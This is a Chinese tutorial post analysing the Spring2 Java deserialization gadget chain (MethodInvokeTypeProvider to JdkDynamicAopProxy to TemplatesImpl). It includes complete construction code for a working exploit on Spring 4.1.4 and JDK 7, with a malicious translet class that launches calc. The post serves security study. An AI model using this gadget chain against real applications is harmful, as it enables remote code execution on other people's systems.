当前位置: 首页 > news >正文

JAVA反序列化深入学习(十三):Spring2

让我们回到Spring

Spring2 在 Spring1 的触发链上有所变换:

  • 替换了 spring-beans 的 ObjectFactoryDelegatingInvocationHandler
  • 使用了 spring-aop 的 JdkDynamicAopProxy ,并完成了后续触发 TemplatesImpl 的流程

简而言之,换了一个chain,而kick-off和sink都没有变动

JAVA环境

java version "1.7.0_80"

Java(TM) SE Runtime Environment (build 1.7.0_80-b15)

Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)

依赖版本

  • spring-core 依赖版本:4.1.4.RELEASE
  • spring-aop 依赖版本:4.1.4.RELEASE
  • jdk 版本:1.7

检查依赖配置

确认项目中是否正确引入了

  • spring-core
  • spring-aop

的依赖。如果使用的是 Maven,可以在 pom.xml 文件中添加以下依赖:

<!-- https://mvnrepository.com/artifact/org.springframework/spring-aop -->
<dependency><groupId>org.springframework</groupId><artifactId>spring-aop</artifactId><version>4.1.4.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-core -->
<dependency><groupId>org.springframework</groupId><artifactId>spring-core</artifactId><version>4.1.4.RELEASE</version>
</dependency>

资源下载

  • maven spring-aop 4.1.4.RELEASE
  • maven spring-core 4.1.4.RELEASE
  • Java7 下载
  • Spring框架 v4.1.4.RELEASE 源码

前置知识

JdkDynamicAopProxy - chain

org.springframework.aop.framework.JdkDynamicAopProxy 类是 Spring AOP 框架基于 JDK 动态代理的实现,同时其还实现了

  • AopProxy 接口
  • InvocationHandler接口
  • Serializable 接口
final class JdkDynamicAopProxy implements AopProxy, InvocationHandler, Serializable {...
}
invoke

我们来看一下 invoke 方法:

  1. 获取 AdvisedSupport 里的 TargetSource
  2. 调用 getTarget() 方法返回其中的对象
  3. 调用 AopUtils#invokeJoinpointUsingReflection() 方法反射调用对象的 method 方法并返回
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {MethodInvocation invocation;Object oldProxy = null;boolean setProxyContext = false;TargetSource targetSource = this.advised.targetSource;Class<?> targetClass = null;Object target = null;try {...// May be null. Get as late as possible to minimize the time we "own" the target,// in case it comes from a pool.target = targetSource.getTarget();if (target != null) {targetClass = target.getClass();}// Get the interception chain for this method.List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);// Check whether we have any advice. If we don't, we can fallback on direct// reflective invocation of the target, and avoid creating a MethodInvocation.if (chain.isEmpty()) {// We can skip creating a MethodInvocation: just invoke the target directly// Note that the final invoker must be an InvokerInterceptor so we know it does// nothing but a reflective operation on the target, and no hot swapping or fancy proxying.retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);}else {// We need to create a method invocation...invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);// Proceed to the joinpoint through the interceptor chain.retVal = invocation.proceed();}...}return retVal;...
}
AopUtils#invokeJoinpointUsingReflection

AopUtils#invokeJoinpointUsingReflection() 方法里就是简单的反射调用,核心步骤就是:

  1. ReflectionUtils.makeAccessible(method);将方法设为可用
  2. method.invoke(target, args);传参调用方法
public static Object invokeJoinpointUsingReflection(Object target, Method method, Object[] args)throws Throwable {// Use reflection to invoke the method.try {ReflectionUtils.makeAccessible(method);return method.invoke(target, args);}...
}

由此可以看到 JdkDynamicAopProxy 这个 InvocationHandler 类能出色的完成 TemplatesImpl 的对象调用,可以直接配合 Spring1 中的触发调用链

攻击构造

与 Spring1 类似,如果忘记了Spring1的内容,建议先看一下之前这篇文章

JAVA反序列化深入学习(十一):Spring1

恶意代码主体

与Spring1几乎一致,不再赘述

public void Spring2() throws Exception {// 生成包含恶意类字节码的 TemplatesImpl 类TemplatesImpl tmpl = generateTemplatesImpl();// 使用 AnnotationInvocationHandler 动态代理Class<?>       c           = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> constructor = c.getDeclaredConstructors()[0];constructor.setAccessible(true);Type typeTemplateProxy = JdkDynamicAopProxy(constructor, tmpl);Object objects = TypeProvider(constructor, typeTemplateProxy);writeObjectToFile((Serializable)objects, fileName);readFileObject(fileName);
}

恶意TemplatesImpl构造

生成包含恶意类字节码的 TemplatesImpl 类,跟之前的都类似,不再赘述

protected TemplatesImpl generateTemplatesImpl()  throws IOException, NoSuchFieldException, IllegalAccessException {// 读取恶意类存到 bytes[] 数组中byte[] bytes = Files.readAllBytes(Paths.get("D:\\EvilClassForSpring2.class"));// 初始化 TemplatesImpl 对象TemplatesImpl tmpl = new TemplatesImpl();Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(tmpl, new byte[][]{bytes});// _name 不能为空Field name = TemplatesImpl.class.getDeclaredField("_name");name.setAccessible(true);name.set(tmpl, "neolock");return tmpl;
}

恶意类构造

跟之前的都类似,不再赘述

import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;public class EvilClassForSpring2 extends AbstractTranslet {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {// No implementation needed}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) {// No implementation needed}
}

JdkDynamicAopProxy

与Spring1的ObjectFactoryDelegatingInvocationHandler类似,简单描述一下过程:

  1. 实例化 AdvisedSupport
  2. TargetSource 设置为 tmpl,使getTarget方法返回 TemplatesImpl
  3. JdkDynamicAopProxy 的 invoke 方法触发 TargetSourcegetTarget,并且会调用 method.invoke(getTarget的返回值,args)
    1. 此时返回值被在第2步我们使用动态代理改为了 TemplatesImpl
    2. 接下来需要 method 是 newTransformer(),就可以触发调用链了
  4. 使用动态代理出的 AdvisedSupport 类实例化 JdkDynamicAopProxy
    1. JdkDynamicAopProxy 本身就是个 InvocationHandler
      1. 使用它来代理一个类,这样在这个类调用时将会触发 JdkDynamicAopProxy 的 invoke 方法
    2. JdkDynamicAopProxy代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
      1. 代理类同时拥有两个类的方法
      2. 既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
protected Type JdkDynamicAopProxy(Constructor<?> constructor, TemplatesImpl tmpl) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {// 实例化 AdvisedSupportAdvisedSupport as = new AdvisedSupport();as.setTarget(tmpl);// JdkDynamicAopProxy 的 invoke 方法触发 TargetSource 的 getTarget 返回 tmpl,并且会调用 method.invoke(返回值,args)// 此时返回值被我们使用动态代理改为了 TemplatesImpl,接下来需要 method 是 newTransformer(),就可以触发调用链了Class<?>       clazz          = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");Constructor<?> aopConstructor = clazz.getDeclaredConstructors()[0];aopConstructor.setAccessible(true);// 使用动态代理出的 AdvisedSupport 类实例化 JdkDynamicAopProxyInvocationHandler aopProxy = (InvocationHandler) aopConstructor.newInstance(as);// JdkDynamicAopProxy 本身就是个 InvocationHandler// 使用它来代理一个类,这样在这个类调用时将会触发 JdkDynamicAopProxy 的 invoke 方法// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Type.class, Templates.class}, aopProxy);return typeTemplateProxy;
}
与Spring1的差异

在Spring1,通过 AnnotationInvocationHandler 来将 getObject 的返回值设置为 TemplatesImpl

Map<String, Object> map = new HashMap<String, Object>();map.put("getObject", tmpl);// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);// 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,使其返回 TemplatesImpl
ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);

而Spring2则是通过实例化AdvisedSupport,并直接将其TargetSource 设置为 tmpl,从而实现将 getTarget 的返回值设置为 TemplatesImpl

// 实例化 AdvisedSupport
AdvisedSupport as = new AdvisedSupport();
as.setTarget(tmpl);

而其他部分的代码都类似,可见这里就是核心差异点

TypeProvider

与Spring1一致,没有变动,不再赘述

protected Object TypeProvider(Constructor<?> constructor, Type typeTemplateProxy) throws InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, NoSuchFieldException {// 接下来代理  TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类HashMap<String, Object> map = new HashMap<>();map.put("getType", typeTemplateProxy);InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxyObject typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{typeProviderClass}, invocationHandler);// 初始化 MethodInvokeTypeProviderClass<?>       clazz = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");Constructor<?> cons   = clazz.getDeclaredConstructors()[0];cons.setAccessible(true);// 由于 MethodInvokeTypeProvider 初始化时会立即调用  ReflectionUtils.invokeMethod(method, provider.getType())// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);Field  field   = clazz.getDeclaredField("methodName");field.setAccessible(true);field.set(objects, "newTransformer");return objects;
}

总结

以上就是 Spring2 链分析的全部内容了,如果理解了 Spring1,那看 Spring2 就很简单了,最后总结一下

利用说明

使用 JdkDynamicAopProxy 替换 ObjectFactoryDelegatingInvocationHandler,并完成最终的调用链

Gadget 总结

  • kick-off gadget:org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider#readObject
  • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
  • chain gadget:org.springframework.aop.framework.JdkDynamicAopProxy#invoke

调用链展示

SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()SerializableTypeWrapper.TypeProvider(Proxy).getType()AnnotationInvocationHandler.invoke()ReflectionUtils.invokeMethod()Templates(Proxy).newTransformer()JdkDynamicAopProxy.invoke()AopUtils.invokeJoinpointUsingReflection()TemplatesImpl.newTransformer()
  • Java 反序列化漏洞(三) - CB/Groovy/Hibernate/Spring | 素十八

相关文章:

JAVA反序列化深入学习(十三):Spring2

让我们回到Spring Spring2 在 Spring1 的触发链上有所变换&#xff1a; 替换了 spring-beans 的 ObjectFactoryDelegatingInvocationHandler使用了 spring-aop 的 JdkDynamicAopProxy &#xff0c;并完成了后续触发 TemplatesImpl 的流程 简而言之&#xff0c;换了一个chain&am…...

迭代器运算详解(四十二)

1. 迭代器的随机访问运算 对于 vector 和 string 这样的容器&#xff0c;它们的迭代器支持以下随机访问运算符&#xff1a; 运算符说明iter n返回一个新的迭代器&#xff0c;该迭代器比原来的迭代器 iter 向前移动了 n 个位置&#xff08;即指向后面的第 n 个元素&#xff0…...

Linux中Squid服务常用操作

在 Linux 中 Squid 服务常用操作介绍 1. Squid 基础操作 启动 Squid # 前台启动&#xff08;调试用&#xff09; squid -N -d 1# 后台启动&#xff08;-s 表示将日志输出到 syslog&#xff09; squid -s停止 Squid # 安全停止&#xff08;需配置 pid_file&#xff09; squid…...

Linux操作系统--进程的概念

目录 1.了解进程前的前景知识 冯诺依曼体系结构 操作系统(OS) 2.进程 2.1进程的概念 2.2描述进程-PCB 2.2.1task_struct 2.3查看进程 2.4通过系统调用获取进程的标识符 2.5认识fork()--创建进程 该专栏会持续更新 更新时间一周一更。下周更新内容进程状态 1.了解进程前…...

C++假期练习

思维导图 牛客练习...

HTML零基础入门笔记:狂神版

前言 本笔记是学习狂神的java教程&#xff0c;建议配合视频&#xff0c;学习体验更佳。 【狂神说Java】HTML5完整教学通俗易懂_哔哩哔哩_bilibili 第1-2章&#xff1a;Java零基础入门笔记&#xff1a;(1-2)入门&#xff08;简介、基础知识&#xff09;-CSDN博客 第3章&…...

算法竞赛备赛——【图论】链式前向星

图论 图的存储方式&#xff1a; 通用的三种&#xff1a;邻接矩阵、邻接表、边集数组 有向图&#xff1a;十字链表 无向图&#xff1a;多重邻接表 刷题常用&#xff1a;邻接矩阵、链式前向星&#xff08;邻接表变形&#xff09; 链式前向星 算法题常用: 邻接矩阵、二维vector模…...

JAVA_类和对象

目录 1.面向对象的初步认知 1.1.什么是面向对象 1.2.面向对象与面向过程 2.类的定义和使用 2.1.简单认识类 2.2类的定义格式 2.3.练习 学生类 动物类&#xff08;可爱猫猫&#x1f431;&#xff09; 3.类的实例化 3.1.什么是实例化 3.2.类和对象的说明 4.this引用…...

高频面试题(含笔试高频算法整理)基本总结回顾65

干货分享&#xff0c;感谢您的阅读&#xff01; &#xff08;暂存篇---后续会删除&#xff0c;完整版和持续更新见高频面试题基本总结回顾&#xff08;含笔试高频算法整理&#xff09;&#xff09; 备注&#xff1a;引用请标注出处&#xff0c;同时存在的问题请在相关博客留言…...

数据库系统-数据库控制

并发控制 事务的ACID特性&#xff1a; 原子性&#xff08;Atomicity&#xff09;&#xff1a;事务包含的所有操作要么全部成功&#xff08;commit提交&#xff09;&#xff0c;要么全部失败&#xff08;rollback回滚&#xff09;一致性&#xff08;Consistency&#xff09;&a…...

Python Cookbook-5.3 根据对象的属性将对象列表排序

任务 需要根据各个对象的某个属性来完成对整个对象列表的排序。 解决方案 DSU方法仍然一如既往地有效: def sort_by_attr(sed,attr):intermed [ (getattr(x,attr),i,x) for i,x in enumerate(seg)]intermed.sort()return [ x[-1] for x in intermed def sort_by_attr_inpl…...

Java MCP SDK 开发笔记(一)

MCP 简介 AI 大模型诞生之初&#xff0c;其高度模拟人的对话之能力惊为天人。但我们肯定不希望止步于此—— 工具化就是我们希望 AI 能够完成的目标&#xff0c;由此可以从单纯的对话发展为代替繁复人力的“干活”。这条道路上毋庸置疑 AI 大模型任重道远。而 MCP(Model Contr…...

AF3 OpenFoldDataLoader类_prep_batch_properties_probs方法解读

AlphaFold3 data_modules 模块的 OpenFoldDataLoader 类的 _prep_batch_properties_probs 方法是为每个批次数据准备 recycling 维度 的概率分布。它将根据配置文件中的设定为每个批次数据生成 recycling 轮次的概率分布,并存储到 prop_probs_tensor 中,用于后续抽样选择特定…...

寻找字符串数组中的最长共同前缀字符串

问题描述&#xff1a;给定一个字符串数组 strs&#xff0c;编写一个函数来找到这些字符串的最长公共前缀字符串&#xff0c;如果没有则返回空字符串"" 算法思路 横向扫描法&#xff1a; 从数组的第一个字符串开始&#xff0c;逐个和后面的字符串比较&#xff0c;逐…...

leetcode_数组 56. 合并区间

56. 合并区间 以数组 intervals 表示若干个区间的集合&#xff0c;其中单个区间为 intervals[i] [starti, endi] 。请你合并所有重叠的区间&#xff0c;并返回 一个不重叠的区间数组&#xff0c;该数组需恰好覆盖输入中的所有区间 。 示例 1&#xff1a; 输入&#xff1a;int…...

Jenkins学习(B站教程)

文章目录 1.持续集成CI2.持续交付CD3.持续部署4.持续集成的操作流程5.jenkins简介6.后续安装部署&#xff0c;见视频 bilibili视频 Jenkins是一个开源的、提供友好操作界面的持续集成(CI)工具&#xff0c;起源于Hudson&#xff08;Hudson是商用的&#xff09;&#xff0c;主要用…...

学习笔记—C++—类和对象(一)

目录 类和对象 类的定义 类定义格式 访问限定符 类域 实例化 实例化概念 对象的大小 this指针 C和C语言实现Stack对比 类和对象 类的定义 类定义格式 ● class为定义类的关键字&#xff0c;Stack为类的名字&#xff0c;{}中为类的主体&#xff0c;注意类定义结束时后…...

PyTorch 深度学习 || 6. Transformer | Ch6.3 Transformer 简单案例

1. 简单案例 这个代码是一个简单的 Transformer 模型的实现,这个例子展示了一个基本的序列到序列(seq2seq)任务,比如将一个数字序列转换为另一个数字序列。可以用于学习和理解 Transformer 的基本结构和工作原理。 import torch import torch.nn as nn import math# 位置…...

体育风暴篮球足球体育球员综合资讯网站模板

源码名称&#xff1a;篮球足球体育球员综合资讯网站模板 开发环境&#xff1a;帝国cms7.5 空间支持&#xff1a;phpmysql 带软件采集&#xff0c;可以挂着自动采集发布&#xff0c;无需人工操作&#xff01; 演示地址&#xff1a;https://www.52muban.com/shop/184016.html …...

Visual Studio Code SSH 连接超时对策( keep SSH alive)

文章目录 问题解决方法一&#xff1a;配置服务端关于ClientAliveInterval和ClientAliveCountMax1、打开终端&#xff0c;打开SSH配置文件&#xff1a;输入以下命令&#xff1a;2、打开配置文件后&#xff0c;添加以下内容&#xff1a;3、添加后&#xff0c;Esc按 <Enter>…...

Docker容器中的ubuntu apt update报错 解决办法

问题现象 # apt update Get:1 http://archive.ubuntu.com/ubuntu noble InRelease [256 kB] Get:2 http://security.ubuntu.com/ubuntu noble-security InRelease [126 kB] Err:2 http://security.ubuntu.com/ubuntu noble-security InRelease At least one invalid signa…...

CV - 目标检测

物体检测 目标检测和图片分类的区别&#xff1a; 图像分类&#xff08;Image Classification&#xff09; 目的&#xff1a;图像分类的目的是识别出图像中主要物体的类别。它试图回答“图像是什么&#xff1f;”的问题。 输出&#xff1a;通常输出是一个标签或一组概率值&am…...

linux提权 corn 提权

corn提权 corn的基本使用方法 corn的作用就是可以定时的完成一下任务&#xff08;如备份一下log 或者清除一下日志文件 这些就是运维人员用的&#xff09; 先找一下定时任务的工作表 cat /bin/corntab 这个是普通用户 我们直接看都看不了 说明什么说明这个 是root高权限执…...

1Panel安装失败 国内docker安装失败

本文仅针对学习交流&#xff0c;只为了帮助计算机相关专业大学生个人技能实操而记录 非学习目的严禁学习&#xff01;&#xff01;&#xff01;否则后果自负 1、离线安装1Panel&#xff08;不需要手动安装docker&#xff0c;离线安装包里包括了docker&#xff09; 离线包下载地…...

Excel + VBA 实现“准实时“数据的方法

Excel 本身是静态数据处理工具,但结合 VBA(Visual Basic for Applications) 可以实现 准实时数据更新,不过严格意义上的 实时数据(如毫秒级刷新)仍然受限。以下是详细分析: 1. Excel + VBA 实现“准实时”数据的方法 (1) 定时刷新(Timer 或 Application.OnTime) Appl…...

请问你怎么看待测试,指导哪些测试的类型,有用过哪些测试方法?

作为深耕测试领域多年的博主,我始终认为测试是软件质量的守护者,更是推动研发流程优化的催化剂。以下从测试认知、分类体系到实战方法论,结合具体案例为你系统拆解: 一、测试的本质认知 测试≠找 Bug,而是通过系统性验证回答三个核心问题: 软件是否符合用户需求?系统在…...

详解 Redis repl_backlog_buffer(如何判断增量同步)

一、repl_backlog_buffer 复制积压缓冲区&#xff08;Replication Backlog Buffer&#xff09; 是一个环形内存区域&#xff08;Ring Buffer&#xff09;&#xff0c;用于临时保存主节点最近写入的写命令&#xff0c;以支持从节点断线重连后的增量同步。 1.1 三个复制偏移量 …...

工业操作系统国产化替代的战略路径与挑战分析

一、政策背景与战略意义 工信部提出的 2027 年替换 80 万套工业操作系统计划&#xff0c;是中国制造业向智能化转型的核心举措。该政策旨在通过国产化替代&#xff0c;解决工业领域 “缺芯少魂” 的问题&#xff0c;构建自主可控的工业软件生态体系。当前&#xff0c;中国工业操…...

JMeter接口性能测试从入门到精通

前言&#xff1a; 本文主要介绍了如何利用jmter进行接口的性能测试 1.在测试计划中添加线程组 1.1.线程组界面中元素含义 如果点击循环次数为永远&#xff1a; 2.添加HTTP取样器 2.1.填写登录接口的各个参数 2.2.在线程组下面增加查看结果树 请求成功的情况&#xff1a; 请求…...

WinForm真入门(9)——RichTextBox控件详解

WinForm中RichTextBox控件详解&#xff1a;从基础到高级应用 上一文中笔者重点介绍了TextBox控件的详细用法&#xff0c;忘记的 请点击WinForm真入门(8)——TextBox控件详解&#xff0c;那么本文中的RichTextBox与TextBox有什么区别吗&#xff0c;光看名字的话&#xff0c;多了…...

Linux : 内核中的信号捕捉

目录 一 前言 二 信号捕捉的方法 1.sigaction()​编辑 2. sigaction() 使用 三 可重入函数 四 volatile 关键字 一 前言 如果信号的处理动作是用户自定义函数,在信号递达时就调用这个函数,这称为捕捉信号。在Linux: 进程信号初识-CSDN博客 这一篇中已经学习到了一种信号…...

Linux 字符串截取#与%

在Linux的Shell脚本中&#xff0c;#和%用于字符串截取&#xff0c;通过通配符模式匹配删除部分内容 批量修改文件名技巧&#xff1a;Linux下#、##、%、%%符号操作详解-CSDN博客 从左截取&#xff08;# 和 ##&#xff09; #&#xff1a;删除最短匹配左侧内容。 ##&#xff1a…...

Android学习总结之自定义View实战篇

场景一&#xff1a;自定义进度条 在很多应用中&#xff0c;我们会看到一些独特样式的进度条&#xff0c;接下来就实现一个简单的圆形进度条。 实现思路 继承 View 类。重写 onDraw 方法&#xff0c;在该方法里使用 Canvas 和 Paint 来绘制圆形进度条。提供更新进度的方法。 …...

C++ STL 详解 ——list 的深度解析与实践指南

在 C 的标准模板库&#xff08;STL&#xff09;中&#xff0c;list作为一种重要的序列式容器&#xff0c;以其独特的双向链表结构和丰富的操作功能&#xff0c;在许多编程场景下发挥着关键作用。深入理解list的特性与使用方法&#xff0c;能帮助开发者编写出更高效、灵活的代码…...

open函数的概念和使用案例

open 是 Linux/Unix 系统中用于打开或创建文件的系统调用&#xff0c;返回一个文件描述符&#xff08;File Descriptor&#xff09;&#xff0c;后续可通过该描述符进行文件读写等操作。以下是其核心概念和使用案例的详细说明&#xff1a; 1. 核心概念 作用&#xff1a;打开或…...

整理一些大模型部署相关的知识

不一定有什么用, 不经常用还会忘掉. 之前被人问到一次,脑子卡壳回答不出要点, 非常尴尬! 在此记录一下使用心得, 偶尔回来翻看! 一 并行方式 1.1 数据并行 (Data Parallelism) 主要用于模型训练阶段, 即将多个完整的模型副本分布到多个gpu上, 每个gpu运行一部分数据数据, 每个…...

算法刷题记录——LeetCode篇(2.10) [第191~200题](持续更新)

更新时间&#xff1a;2025-04-04 算法题解目录汇总&#xff1a;算法刷题记录——题解目录汇总技术博客总目录&#xff1a;计算机技术系列博客——目录页 优先整理热门100及面试150&#xff0c;不定期持续更新&#xff0c;欢迎关注&#xff01; 198. 打家劫舍 你是一个专业的…...

蓝桥杯备赛 Day 19 加练dfs

是否需要回溯? 输入参数有哪几个(当前dfs和下一个dfs什么会变?)&#xff1f; 是否需要返回值? 一.1158: 八皇后 P1158 - 八皇后 - New Online Judge (ecustacm.cn) 学习: 1.dfs输入为层数&#xff0c;即行号i&#xff0c;因为是每行只放一个&#xff0c;下一个dfs就是i1 2…...

蓝桥杯-卡java排序

问题描述 本题是一道针对 Java 中 Arrays.sort 的题目&#xff0c;因此只有一个数据&#xff0c;该数据可以把 int 类型的数组在使用 Arrays.sort 后卡成 O(n2)O(n2)。 给定一个有 nn 个正整数的序列 aa&#xff0c;你需要将其升序排序后输出。 输入格式 第一行输入一个正整…...

内存管理模块

在 Linux 内核中&#xff0c;内存管理是一个复杂而关键的组成部分。内核空间的虚拟地址被划分为多个区域&#xff0c;每个区域有其特定的用途和映射机制。本文将详细介绍 直接映射区&#xff08;Direct Mapping Area&#xff09;、vmalloc 区、永久内核映射区&#xff08;Perma…...

Spring RestTemplate修仙指南:从HTTP萌新到请求大能的终极奥义

各位在Spring生态摸爬滚打的道友们&#xff01;今天要解锁的是Spring官方御用HTTP法宝——RestTemplate&#xff01;这货堪称Java界的"御剑飞行术"&#xff0c;虽然官方已推荐WebClient接棒&#xff0c;但江湖上仍有80%项目在用这员老将&#xff01;准备好一键起飞了…...

cpp经典数论问题

题目如下 思路 代码如下...

Redis 线程模型:单线程也能快如闪电?

目录 一、核心思想&#xff1a;快刀斩乱麻的“单线程”高手 &#x1f9b8;‍♂️二、为什么是“单线程”&#xff1f;&#x1f914;三、单线程如何做到高性能&#xff1f;✨ “I/O 多路复用”是关键&#xff01;四、真的一直都只有“一个线程”吗&#xff1f;并不完全是&#x…...

游戏引擎学习第208天

运行游戏并回顾我们的情况 今天&#xff0c;我们将继续完成之前中断的调试输出工作。最近的工作偏离了一些&#xff0c;展示了如何进行元编程的实践&#xff0c;主要涉及了一个小的解析器。尽管这个解析器本身是一个玩具&#xff0c;但它展示了如何完成一个完整的循环&#xf…...

JavaScript箭头函数介绍(=>)(箭头函数不绑定自己的this,而是继承上下文的this;不能用于造函数)JavaScript =>

文章目录 JavaScript箭头函数全解析箭头函数的基本语法简洁语法特性隐式返回值对象字面量返回 词法绑定的this不适用箭头函数的场景对象方法构造函数DOM事件处理 高级用法在数组方法中的应用链式调用柯里化函数 性能考量1. 作为回调函数时减少创建闭包的开销2. 简化代码结构&am…...

数据对象:DTO、DO、PO和 BO的区别和关系

在Java开发中&#xff0c;DTO&#xff08;Data Transfer Object&#xff09;、DO&#xff08;Domain Object&#xff09;、PO&#xff08;Persistent Object&#xff09;和BO&#xff08;Business Object&#xff09;是常用的数据对象概念&#xff0c;下面为你详细介绍并给出简…...

Java内存模型详解:堆、栈、方法区

1. 堆&#xff08;Heap&#xff09; 作用&#xff1a;存放所有对象实例及数组&#xff0c;是垃圾回收的主要区域。 结构&#xff1a; 新生代&#xff08;Young Generation&#xff09;&#xff1a; Eden区&#xff1a;新创建的对象首先分配在此。 Survivor区&#xff08;From…...

ubuntu 20.04 编译运行LeGo_LOAM 跑数据集 并且保存pcl文件

1.搭建文件目录,clone代码,编译 mkdir -p Lego_LOAM/src cd Lego_LOAM/src git clone https://github.com/RobustFieldAutonomyLab/LeGO-LOAM.git cd .. catkin_make -j1 错误1&#xff1a;: fatal error: opencv/cv.h: 没有那个文件或目录 13 | #include <opencv/cv.h…...

CMake使用教程

CMake是开源、跨平台的构建工具,可以让我们通过编写简单的配置文件去生成本地的Makefile,这个配置文件是独立于运行平台和编译器的,这样就不用亲自去编写Makefile了,而且配置文件可以直接拿到其它平台上使用,无需修改,非常方便。 使用命令行执行CMakeLists.txt,对文件进…...

快速上手Linux进程管理

一.理解进程和线程 1.1 什么是进程 它表示一个正在执行的程序实例。在操作系统中&#xff0c;进程是系统进行资源分配和调度的基本单位。每个进程都有自己独立的内存空间、代码、数据和系统资源&#xff0c;如打开的文件、使用的硬件设备等。 进程的主要特点包括&#xff1a…...